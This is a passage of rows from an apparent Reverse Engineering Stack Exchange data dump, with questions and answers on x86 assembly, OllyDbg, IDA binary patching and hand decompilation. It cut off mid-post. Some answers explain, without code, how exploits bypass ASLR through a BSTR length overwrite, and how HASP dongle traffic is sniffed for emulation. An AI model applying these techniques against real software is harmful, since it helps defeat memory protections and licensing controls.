sequence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my self-explanation was that we first compare, then do some &lt;code&gt;MOV&lt;/code&gt; and &lt;code&gt;PUSH&lt;/code&gt; operations, after that all we are jumping, is that right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, as I mentioned above, normally the jump comes in the next line after the comparison, could one say the reason for that late jump instruction here ? Or is it normal ?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="2563" LastEditDate="2014-05-26T14:52:06.963" LastActivityDate="2014-05-26T14:52:06.963" Title="Does a JE must follow directly to an CMP?" Tags="|assembly|x86|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4437" PostTypeId="2" ParentId="4436" CreationDate="2014-05-24T02:15:04.790" Score="10" Body="&lt;p&gt;It is perfectly normal, compilers tend to emit such code for sake of optimization. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover delaying the conditional jump is helpful for instruction prefetching &amp;amp; branch handling. The code is valid too unless the code in between modify the EFLAGS register.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2014-05-24T02:15:04.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4438" PostTypeId="1" CreationDate="2014-05-24T02:32:54.843" Score="3" ViewCount="1332" Body="&lt;p&gt;I wanted to know if one can see old register values in Ollydbg in the register window. I mean, for example, I have the register value of &lt;code&gt;eax&lt;/code&gt; like &lt;code&gt;eax=12345678&lt;/code&gt;. And, now, let say that I go to the next instruction, and then to next instruction and so on... Lets also say, that &lt;code&gt;eax&lt;/code&gt; is changing all the time and after a couple of instructions and changements of &lt;code&gt;eax&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know the former value of &lt;code&gt;eax&lt;/code&gt;, namely &lt;code&gt;eax=1234568&lt;/code&gt;, how can I do that in Ollydbg ?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="53" LastEditDate="2014-05-24T11:40:38.053" LastActivityDate="2014-05-24T11:40:38.053" Title="Seeing previous register values in ollydbg possible?" Tags="|ollydbg|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4439" PostTypeId="2" ParentId="4438" CreationDate="2014-05-24T03:00:11.393" Score="3" Body="&lt;p&gt;The &lt;strong&gt;&lt;em&gt;&lt;a href=&quot;http://www.ollydbg.de/Tut_rtr.htm&quot; rel=&quot;nofollow&quot;&gt;Run trace&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt; feature of ollydbg can be used to know the values of registers in a previous execution step. During Run trace code is executed step by step, and debugger protocols every command, together with registers and flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a tutorial on tracing &lt;a href=&quot;https://sites.google.com/site/corkami/ollydbg-tracing&quot; rel=&quot;nofollow&quot;&gt;https://sites.google.com/site/corkami/ollydbg-tracing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2014-05-24T03:00:11.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4440" PostTypeId="2" ParentId="4337" CreationDate="2014-05-24T14:05:50.610" Score="0" Body="&lt;p&gt;I solved my problem with IDC files and VM snapshot =)&#xA;I'm on IDA 6.4 and the snapshot function doesn't work in live debugging. &#xA;My solution is to take a snapshot of my virtual machine (on VMware workstation) to have everytime the same kernel state. When I wanna reload my work, I begin to load the virtual machine snapshot then I attach IDA to my virtual machine with windbg and finally I can load my IDC file using the script file option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for you answer, it really was helpful !&lt;/p&gt;&#xA;" OwnerUserId="4559" LastActivityDate="2014-05-24T14:05:50.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4441" PostTypeId="1" CreationDate="2014-05-24T22:14:31.290" Score="0" ViewCount="587" Body="&lt;p&gt;I realize this is a huge question but any insight you can provide will be much appreciated. OK, let's consider a file protected/wrapped by HASP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the general layout of said file? There's a HASP API that's embedded. Is it easily identifiable, i.e. more or less a full module, or is it cut up and distributed throughout the file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the file is started, is it decoded in its entirety or does it employ a decode/re-encode scheme? How does it move between layers in the decoder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the passive protections of HASP (e.g. import redirection)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the active protections of HASP (e.g. IsDebuggerPresent())?&lt;/p&gt;&#xA;" OwnerUserId="4716" LastActivityDate="2014-05-25T02:14:08.403" Title="HASP implementation details" Tags="|unpacking|anti-debugging|" AnswerCount="1" CommentCount="0" ClosedDate="2014-05-26T01:09:56.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="4442" PostTypeId="2" ParentId="4441" CreationDate="2014-05-25T02:14:08.403" Score="1" Body="&lt;p&gt;i was involved in black-box identification of HASPs some years back (actually when i was  student). What we supposed to do was &quot;sniff&quot; the ports to see what data went back-n-forth between the application and the dongle, then try to simulate it or maybe model some function after it. However the basic task was to check the data transference. i remember there were software (HASP testers) which could already do much of this job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have the data map and where in the api these are processed (using a debugger) it could make it easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each applicatioon can use its own way of communicating with the HASP (although there are canned routines and modules also)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this help you?&lt;/p&gt;&#xA;" OwnerUserId="4600" LastActivityDate="2014-05-25T02:14:08.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4443" PostTypeId="2" ParentId="4436" CreationDate="2014-05-25T02:22:25.897" Score="4" Body="&lt;p&gt;JE (Jump on Equal) instructions use a result of a previous operation, this previous operation is usually CMP (compare) but it can be any other of a multitude of similar operations (eg ADD, XOR, etc..) As a matter of fact the operation which will provide the result and the actual jump command may not be consecutive at all, but if intermediate commands do not alter the result flags/registers the program flow will still be valid as intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compilers tend to generate similar code (although there can be automatic optimizations or obfucations) other times custom hand-made code may be written this way for various reasons&lt;/p&gt;&#xA;" OwnerUserId="4600" LastActivityDate="2014-05-25T02:22:25.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4444" PostTypeId="2" ParentId="3397" CreationDate="2014-05-25T02:34:14.967" Score="1" Body="&lt;p&gt;A guess. As we can can see there is no actual duplication of code, the multiple trycatch blocks function as goto labels under different cases of what failed or not (since a finally clause is also present). If you follow the program flow you can see that no duplication  takes place.&lt;/p&gt;&#xA;" OwnerUserId="4600" LastActivityDate="2014-05-25T02:34:14.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4445" PostTypeId="2" ParentId="2191" CreationDate="2014-05-25T02:42:36.683" Score="1" Body="&lt;p&gt;Most of integrity checks use some &lt;a href=&quot;http://www.math.niu.edu/~beachy/courses/523/coding_theory.pdf&quot; rel=&quot;nofollow&quot;&gt;algebraic coding&lt;/a&gt;. Algebraic codings have a basis, so if you have enough samples you can possibly reconstruct the algebraic basis used.&lt;/p&gt;&#xA;" OwnerUserId="4600" LastActivityDate="2014-05-25T02:42:36.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4446" PostTypeId="2" ParentId="3584" CreationDate="2014-05-25T02:54:06.783" Score="2" Body="&lt;p&gt;The problem of scope (and the related problem of dynamic typing) eg in JavaScript is tackled by Marijn Haverbeke's &lt;a href=&quot;https://github.com/marijnh/tern&quot; rel=&quot;nofollow&quot;&gt;tern project&lt;/a&gt;. Maybe this could be of great help to this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Effectively when you have the decompiled source you can use sth like tern to analyze it as source code on-the-fly (as is done in javascript for which tern is designed)&lt;/p&gt;&#xA;" OwnerUserId="4600" LastActivityDate="2014-05-25T02:54:06.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4447" PostTypeId="2" ParentId="4374" CreationDate="2014-05-25T20:11:43.040" Score="2" Body="&lt;p&gt;The best thing you can do is to learn how to read assembly. Start at the crash, see what type of memory is being used, values in registers, and previous instructions.  Learn how to use windbg.  Taint analysis and smt solving is intended for pure binary data, it sucks for interpreters or abstract state machines.  In other words, its great when the relationship between data and code is 1 to 1 as in media players etc.  If you want to be a vulnerability researcher then learning how to efficiently reverse engineer is the best long term investment you can make.  Itll shorten the time between crash and root cause analysis and will improve the quality of the bugs you find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The size difference between the original and fuzzed file is substantial and likely was not produce by dumb binary byte flipping.  Also, the PDF format contains a lot of non binary data.  You have to study how Reader works and also get very intimate with the PDF spec.  This is a manual endeavor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the tutorials at &lt;a href=&quot;https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/&quot; rel=&quot;nofollow&quot;&gt;https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT - Code coverage and a lot of other stuff is easy to do with PIN, including taint tracking with XED2.  Check out Dytan and Privacy Scope, both of which are open source.  If the application is complex then most likely you will have to customize your tools for it.  You dont want to run your code against decompression.  Theres also static taint tracking and a good example is &lt;a href=&quot;http://phrack.org/issues/67/10.html&quot; rel=&quot;nofollow&quot;&gt;http://phrack.org/issues/67/10.html&lt;/a&gt; which goes backwards from a crash.  The rules are simple so its easy not complex to make this sort of tool.  The difficulties come when interfacing with system APIs and third party libraries which is where the customization comes in.  You could use more advanced features as well, check out shadow memory and one of my favorite papers &lt;a href=&quot;http://dynamorio.org/pubs/zhao-million-watchpoints-CC08.pdf&quot; rel=&quot;nofollow&quot;&gt;http://dynamorio.org/pubs/zhao-million-watchpoints-CC08.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4720" LastEditorUserId="4720" LastEditDate="2014-05-31T06:13:37.627" LastActivityDate="2014-05-31T06:13:37.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4448" PostTypeId="1" AcceptedAnswerId="4450" CreationDate="2014-05-25T20:20:23.200" Score="3" ViewCount="860" Body="&lt;p&gt;Modern exploits use different techniques to bypass ASLR. One of the technique used in some IE exploits is to leak memory using a BSTR overwrite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can an attacker leak memory, and how can he use it to effectively bypass ASLR?&lt;/p&gt;&#xA;" OwnerUserId="4671" LastEditorUserId="1547" LastEditDate="2014-06-23T13:47:34.270" LastActivityDate="2014-06-23T13:47:34.270" Title="Reading Memory to bypass ASLR" Tags="|exploit|vulnerability-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4450" PostTypeId="2" ParentId="4448" CreationDate="2014-05-26T05:05:16.133" Score="5" Body="&lt;p&gt;this is how a &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms221069%28v=vs.85%29.aspx&quot;&gt;BSTR&lt;/a&gt; represented in memory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Length&lt;/code&gt; &lt;code&gt;Data string&lt;/code&gt; &lt;code&gt;Terminator&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so an attacker will try to get an aligned heapspray and then trigger a vulnerability that will modify the Length part of a BSTR, it can be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a heap overflow.&lt;/li&gt;&#xA;&lt;li&gt;a use after free that crashes on instructions that can modify a controlled memory address (eg AND 0xFFFFFFFF, edi) where edi is controlled by the attacker and points to the BSTR Length field&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;then the length of the BSTR will be so big that you can read a big block of memory, that simply contain pointers to DLLS, from that you get the base address of those DLLS, AND BOOM!!! ASLR bypassed!&lt;/p&gt;&#xA;" OwnerUserId="4722" LastEditorUserId="188" LastEditDate="2014-05-26T08:07:53.433" LastActivityDate="2014-05-26T08:07:53.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4451" PostTypeId="2" ParentId="4428" CreationDate="2014-05-26T10:47:03.790" Score="5" Body="&lt;p&gt;I can think of 2 cases where a VMT is not in the first word of an object:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;using multiple inheritance&lt;/li&gt;&#xA;&lt;li&gt;when the an object has a member variable which has virtual methods&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;multiple inheritance&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct base1 {&#xA;    uint32_t x[12];&#xA;    virtual void m1() { }&#xA;};&#xA;&#xA;&#xA;struct base2 {&#xA;    virtual void m2() { }&#xA;};&#xA;&#xA;struct cls : base1, base2 {&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now the VMT of base2 is at offset 0x34&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;virtual member&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct cls2 {&#xA;    uint32_t x[13];&#xA;    base2   b;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now also the VMT of base2 is at offset 0x34&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2014-05-26T10:47:03.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4452" PostTypeId="2" ParentId="4436" CreationDate="2014-05-26T11:13:50.350" Score="6" Body="&lt;p&gt;JE checks the zero flag (ZF). So as long as ZF is not modified you can jump any time you want. The same to other jump instructions&lt;/p&gt;&#xA;" OwnerUserId="2563" LastActivityDate="2014-05-26T11:13:50.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4453" PostTypeId="1" AcceptedAnswerId="4482" CreationDate="2014-05-26T15:14:14.387" Score="2" ViewCount="751" Body="&lt;p&gt;I need a little help from you guys! At present, I'm working on an IDA Pro Database in order to create a patch for an executable, and I'm totally stuck on editing the following sub:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008EC420 ; char __thiscall sub_8EC420(MyClass *this)&#xA;.text:008EC420 sub_8EC420      proc near&#xA;.text:008EC420 var_8           = dword ptr -8&#xA;.text:008EC420 var_4           = dword ptr -4&#xA;.text:008EC420                 sub     esp, 8&#xA;.text:008EC423                 push    ebx&#xA;.text:008EC424                 mov     ebx, ecx&#xA;.text:008EC426                 cmp     dword ptr [ebx+79954h], 0&#xA;.text:008EC42D                 mov     [esp+0Ch+var_4], ebx&#xA;.text:008EC431                 mov     [esp+0Ch+var_8], 0&#xA;.text:008EC439                 jle     loc_8EC4F2&#xA;.text:008EC43F                 push    ebp&#xA;.text:008EC440                 push    esi&#xA;.text:008EC441                 push    edi&#xA;.text:008EC442                 lea     edi, [ebx+114h]&#xA;.text:008EC448                 jmp     short loc_8EC450&#xA;.text:008EC44A                 align 10h&#xA;.text:008EC450 loc_8EC450:&#xA;.text:008EC450                 lea     eax, [edi-0Ch]&#xA;.text:008EC453                 push    eax&#xA;.text:008EC454                 call    sub_A00890&#xA;.text:008EC459                 mov     esi, eax&#xA;.text:008EC45B                 add     esp, 4&#xA;.text:008EC45E                 cmp     esi, 0FFFFFFFFh&#xA;.text:008EC461                 jnz     short loc_8EC472&#xA;.text:008EC463                 mov     dword ptr [edi], 0&#xA;.text:008EC469                 mov     dword ptr [edi-4], 0FFFFh&#xA;.text:008EC470                 jmp     short loc_8EC480&#xA;.text:008EC472 loc_8EC472:&#xA;.text:008EC472                 push    esi&#xA;.text:008EC473                 call    sub_A00870&#xA;.text:008EC478                 add     esp, 4&#xA;.text:008EC47B                 mov     [edi], eax&#xA;.text:008EC47D                 mov     [edi-4], esi&#xA;.text:008EC480 loc_8EC480:&#xA;.text:008EC480                 xor     ebp, ebp&#xA;.text:008EC482                 cmp     [edi+0ECh], ebp&#xA;.text:008EC488                 jbe     short loc_8EC4D2&#xA;.text:008EC48A                 lea     esi, [edi+0BCh]&#xA;.text:008EC490 loc_8EC490:&#xA;.text:008EC490                 lea     ecx, [esi-0Ch]&#xA;.text:008EC493                 push    ecx&#xA;.text:008EC494                 call    sub_A00890&#xA;.text:008EC499                 mov     ebx, eax&#xA;.text:008EC49B                 add     esp, 4&#xA;.text:008EC49E                 cmp     ebx, 0FFFFFFFFh&#xA;.text:008EC4A1                 jnz     short loc_8EC4B2&#xA;.text:008EC4A3                 mov     dword ptr [esi], 0&#xA;.text:008EC4A9                 mov     dword ptr [esi-4], 0FFFFh&#xA;.text:008EC4B0                 jmp     short loc_8EC4C0&#xA;.text:008EC4B2 loc_8EC4B2:&#xA;.text:008EC4B2                 push    ebx&#xA;.text:008EC4B3                 call    sub_A00870&#xA;.text:008EC4B8                 add     esp, 4&#xA;.text:008EC4BB                 mov     [esi], eax&#xA;.text:008EC4BD                 mov     [esi-4], ebx&#xA;.text:008EC4C0 loc_8EC4C0:&#xA;.text:008EC4C0                 add     ebp, 1&#xA;.text:008EC4C3                 add     esi, 14h&#xA;.text:008EC4C6                 cmp     ebp, [edi+0ECh]&#xA;.text:008EC4CC                 jb      short loc_8EC490&#xA;.text:008EC4CE                 mov     ebx, [esp+18h+var_4]&#xA;.text:008EC4D2 loc_8EC4D2:&#xA;.text:008EC4D2                 mov     eax, [esp+18h+var_8]&#xA;.text:008EC4D6                 add     eax, 1&#xA;.text:008EC4D9                 add     edi, 3E4h&#xA;.text:008EC4DF                 cmp     eax, [ebx+79954h]&#xA;.text:008EC4E5                 mov     [esp+18h+var_8], eax&#xA;.text:008EC4E9                 jl      loc_8EC450&#xA;.text:008EC4EF                 pop     edi&#xA;.text:008EC4F0                 pop     esi&#xA;.text:008EC4F1                 pop     ebp&#xA;.text:008EC4F2 loc_8EC4F2:&#xA;.text:008EC4F2                 mov     al, 1&#xA;.text:008EC4F4                 pop     ebx&#xA;.text:008EC4F5                 add     esp, 8&#xA;.text:008EC4F8                 retn&#xA;.text:008EC4F8 sub_8EC420      endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;MyClass&lt;/code&gt; entity looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct MyClass // 502076 bytes&#xA;{&#xA;  void *VFT; // 4 bytes&#xA;  MyStruct Structs[500]; // 498000 bytes = sizeof(MyStruct)=996 * 500&#xA;  // more data...&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to allow &lt;code&gt;MyClass&lt;/code&gt; to parse and manage more &lt;code&gt;MyStruct&lt;/code&gt; instances, I enlarged the &lt;code&gt;.data&lt;/code&gt; segment of the executable by &lt;code&gt;sizeof(MyStruct1)=996 * 1000 = 996000 bytes&lt;/code&gt; and I appended a new &lt;code&gt;MyStruct[1000]&lt;/code&gt; at the end of it. Now, all what I need to do is to shift every memory pointer trying to access the &lt;code&gt;MyClass.Structs&lt;/code&gt; memory region to the &lt;code&gt;MyStruct[1000]&lt;/code&gt; memory region. Many modifications were pretty easy to achieve, but I really don't know how to deal with this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method &lt;code&gt;sub_8EC420&lt;/code&gt; iterates through every &lt;code&gt;MyStruct&lt;/code&gt; instance in &lt;code&gt;MyClass.Structs&lt;/code&gt; getting a specific field and doing some operations with it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char *v2 = &amp;amp;this-&amp;gt;Structs[0].ValueAt272;&#xA;// offset = MyClass + 276 | MyClass-&amp;gt;Structs + 272&#xA;&#xA;do&#xA;{&#xA;    // operations...&#xA;    v2 += 996; // sizeof(MyStruct)&#xA;}&#xA;while ( ... );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to successfully redirect the memory pointer to the new &lt;code&gt;MyStruct[1000]&lt;/code&gt; array located at the end of the &lt;code&gt;.data&lt;/code&gt; segment, I must change the following instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008EC442                 lea     edi, [ebx+114h]&#xA;// offset = MyClass + 276 | MyClass-&amp;gt;Structs + 272&#xA;// bytes = 8D BB 14 01 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EBX&lt;/code&gt; is the register that points to my &lt;code&gt;MyClass&lt;/code&gt; instance offset. But I can't transform it into this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008EC442                 mov edi, 2DABF84h; nop;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because, as you can see, just after, the &lt;code&gt;EDI&lt;/code&gt; register value is being used and this would lead to bad results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008EC450                 lea     eax, [edi-0Ch]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried an edited &lt;code&gt;LEA&lt;/code&gt; approach but it's not producing good results either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:008EC442                 lea     edi, [ebx+14A027Ch]&#xA;// offset = MyStruct[1000] (0x02DABE74) - MyClass Instance (0x190BD08) + 272&#xA;// bytes = 8D BB 7C 02 4A 01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the top of that, inserting additional bytes to this sub completly breaks my IDA Pro database. So... how should I deal with this?&lt;/p&gt;&#xA;" OwnerUserId="4469" LastEditorUserId="4469" LastEditDate="2014-05-26T15:30:31.233" LastActivityDate="2014-05-29T22:14:41.283" Title="Redirecting/Remapping/Rerouting a Memory Access" Tags="|ida|disassembly|assembly|memory|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4454" PostTypeId="1" CreationDate="2014-05-26T15:41:08.020" Score="1" ViewCount="121" Body="&lt;p&gt;Years back there were sites or online resources which had a lot of information on decompilation, software protection schemes, even reality cracking (notably by &lt;a href=&quot;http://en.wikipedia.org/wiki/Fravia&quot; rel=&quot;nofollow&quot;&gt;Fr/-\vi@&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Apart from software security sites (and conferences) sponsored by some&#xA;  companies, are there &quot;alternative&quot; (in the sense of not being sponsored&#xA;  and the content being actually valid today) online resources that have this quality?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; The question &lt;strong&gt;does NOT&lt;/strong&gt; ask for specific web addresses, but for the general state of affairs on resources as mentioned above, possibly what can be like in the future also?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="4600" LastActivityDate="2014-05-26T15:41:08.020" Title="Are there alternative online resources for hacking/reverse engineering at present?" Tags="|history|" AnswerCount="0" CommentCount="4" ClosedDate="2014-05-27T10:32:30.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="4455" PostTypeId="1" CreationDate="2014-05-27T01:14:43.093" Score="3" ViewCount="1614" Body="&lt;p&gt;I have the following assembly code and I wanted to transform it into the C language.&#xA;During the transformation, I had some question for which I could not find any answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, here is it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                     ...&#xA;  +----&amp;gt;6C250EAD     MOV DL, BYTE PTR DS:[ESI]&#xA;  |     .....EAF     TEST DL, DL&#xA;  |     .....EB1     JE SHORT func.6C250EDF   -----------------+&#xA;  |     .....EB3     MOVZX EDX, DL                             |&#xA;  |     .....EB6     TEST BYTE PTR DS:[EDX+0x6C25EF39],0x4     |&#xA;  |     .....EBD     JE SHORT func.6C250ECE   -----+           |&#xA;  |     .....EBF     ADD DWORD PRT DS:[ECX],0x2    |           |&#xA;  |     .....EC2     TEST EAX,EAX                  |           |&#xA;  |     .....EC4     JE SHORT func.6C250ED9 ----------+        |&#xA;  |     .....EC6     MOV DL, BYTE PTR DS:[ESI]     |  |        |&#xA;  |     .....EC8     INC ESI                       |  |        |&#xA;  |     .....EC9     MOV BYTE PTR DS:[EAX], DL     |  |        |&#xA;  |     .....ECB     INC EAX                       |  |        |&#xA;  |  +--.....ECC-----JMP SHORT func.6C250ED4       |  |        |&#xA;  |  |  6C250ECE     INC DWORD PTR DS:[ECX]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;--+  |        |&#xA;  |  |  .....ED0     TEST EAX, EAX                    |        |&#xA;  |  |  .....ED2     JMP SHORT func.6C250ED9  -----------+     |&#xA;  |  +-&amp;gt;6C250ED4     MOV DL, BYTE PTR DS:[ESI]        |  |     |&#xA;  |     .....ED6     MOV BYTE PTR DS:[EAX],DL         |  |     |&#xA;  |     .....ED8     INC EAX                          |  |     |&#xA;  |     6C250ED9     INC ESI    &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;-----------------+--+     |&#xA;  |     .....EDA     CMP BYTE PTR DS:[ESI],0x22                |&#xA;  +-----.....EDD-----JNZ SHORT func.6C250EAD                   |&#xA;        6C250EDF    .....    &amp;lt;&amp;lt;&amp;lt;&amp;lt;------------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First of all, I must say that we have a string stored in the register ESI. Specially, it is the path of the current process which I try to examine. So it begins with &quot;C:\Users...(and so on)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My observation was the following. It is a routine which represents a loop. The loop goes through the stored string by increasing the esi pointer at the end of the loop. There is also a counter ECX which is incremented. &#xA;My question was about the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; TEST BYTE PTR DS:[EDX+0x6C25EF39],0x4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, ollydbg announces me that I the ANSCII code 08 is in [EDX+0x6C25EF39]. I look that up and that is the code for the backspace. Furthermore, 0x4 is the representation for EOT (= End of transmission).&#xA;Honestly, I do not understand really what is does. (I assume that it is maybe delete the last current character because it is not the &quot;end of transmission&quot;, thus 0x4, but I am not sure.) The only thing which I can say about that is that it the result is always ZF=1, so the jumps is taken, and we go to the target of arrow, namely to the place where the counter ECX is incremented.&#xA;About ECX and EAX I can say that they are initialized with 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, from that observations I try to write a C code to imagine how it could be written in real:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while(esi != NULL){&#xA;&#xA;  char *dl = *(esi);&#xA;&#xA;  if(dl != dl){&#xA;     break;&#xA;  }&#xA;&#xA;  char *edx = *(dl);&#xA;&#xA;  //at that the line which I do not understand really comes&#xA;&#xA;  ecx++;&#xA;&#xA;  if(eax!=0){&#xA;      esi++;&#xA;  }&#xA;&#xA;  if(esi-- == esi){&#xA;      break;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wanted to add that I also try to learn C language. So, I hope you can tell me my mistakes or other wrong things, which I must learn better. &lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="245" LastEditDate="2014-05-27T21:06:32.100" LastActivityDate="2014-05-27T21:06:32.100" Title="Transformation of assembly code into C language (decompilation)" Tags="|assembly|decompilation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4456" PostTypeId="2" ParentId="4455" CreationDate="2014-05-27T05:13:30.567" Score="4" Body="&lt;pre&gt;&lt;code&gt;//   +----&amp;gt;6C250EAD     MOV DL, BYTE PTR DS:[ESI]&#xA;//   |     .....EAF     TEST DL, DL&#xA;//   |     .....EB1     JE SHORT func.6C250EDF   -----------------+&#xA;//   |     .....EB3     MOVZX EDX, DL                             |&#xA;//   |     .....EB6     TEST BYTE PTR DS:[EDX+0x6C25EF39],0x4     |&#xA;//   |     .....EBD     JE SHORT func.6C250ECE   -----+           |&#xA;//   |     .....EBF     ADD DWORD PRT DS:[ECX],0x2    |           |&#xA;//   |     .....EC2     TEST EAX,EAX                  |           |&#xA;//   |     .....EC4     JE SHORT func.6C250ED9 ----------+        |&#xA;//   |     .....EC6     MOV DL, BYTE PTR DS:[ESI]     |  |        |&#xA;//   |     .....EC8     INC ESI                       |  |        |&#xA;//   |     .....EC9     MOV BYTE PTR DS:[EAX], DL     |  |        |&#xA;//   |     .....ECB     INC EAX                       |  |        |&#xA;//   |  +--.....ECC-----JMP SHORT func.6C250ED4       |  |        |&#xA;//   |  |  6C250ECE     INC DWORD PTR DS:[ECX]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;--+  |        |&#xA;//   |  |  .....ED0     TEST EAX, EAX                    |        |&#xA;//   |  |  .....ED2     JMP SHORT func.6C250ED9  -----------+     |&#xA;//   |  +-&amp;gt;6C250ED4     MOV DL, BYTE PTR DS:[ESI]        |  |     |&#xA;//   |     .....ED6     MOV BYTE PTR DS:[EAX],DL         |  |     |&#xA;//   |     .....ED8     INC EAX                          |  |     |&#xA;//   |     6C250ED9     INC ESI    &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;-----------------+--+     |&#xA;//   |     .....EDA     CMP BYTE PTR DS:[ESI],0x22                |&#xA;//   +-----.....EDD-----JNZ SHORT func.6C250EAD                   |&#xA;//         